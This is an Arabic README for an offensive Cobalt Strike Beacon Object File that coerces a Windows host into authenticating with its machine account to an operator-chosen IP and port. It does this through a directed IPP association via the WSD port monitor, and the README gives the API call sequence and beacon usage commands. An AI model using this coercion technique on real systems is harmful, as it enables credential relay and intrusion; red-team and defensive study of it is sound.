IPP Coercion BOF

ملف كائن Beacon (BOF) يجبر جهاز Windows على المصادقة عبر HTTP باستخدام حساب الكمبيوتر الخاص به (HOSTNAME$)، وذلك عبر إطلاق اقتران IPP موجّه من خلال مراقب منفذ WSD. تتيح هذه التقنية للمشغّلين إجبار اعتراض وإعادة توجيه مصادقة حساب الجهاز عبر HTTP.

تم اختباره على Windows 11 26H2.

كيف يعمل

تم إنتاج هذا الـ BOF عبر تتبع printui.exe أثناء إضافة طابعة IPP، ثم اختزاله إلى مجموعة استدعاءات API المرصودة (باستخدام Claude Opus 5.5 وFrida وETW). على المستوى العام، يقوم هذا الـ BOF بما يلي:

1. يفتح مقبض إعدادات لمراقب منفذ WSD (OpenPrinterW(",XcvMonitor WSD Port"))
2. يستدعي AssocIppDirected مع الـ URI المقدَّم (XcvDataW)
3. يتسبب في قيام الـ spooler بإطلاق DeviceAssociationService عبر RPC وتنفيذ الاتصال الصادر

الاستخدام

حمّل coerce-ipp.cna في Cobalt Strike.

beacon> coerce-ipp <ip> <port>
beacon> coerce-ipp 127.0.0.1 8082

المراجع

• Microsoft Learn: MS-RPRN - مواصفات AssocIppDirected (APMON XcvData)
• Microsoft Learn: Add-Printer - اكتشاف IPP الموجّه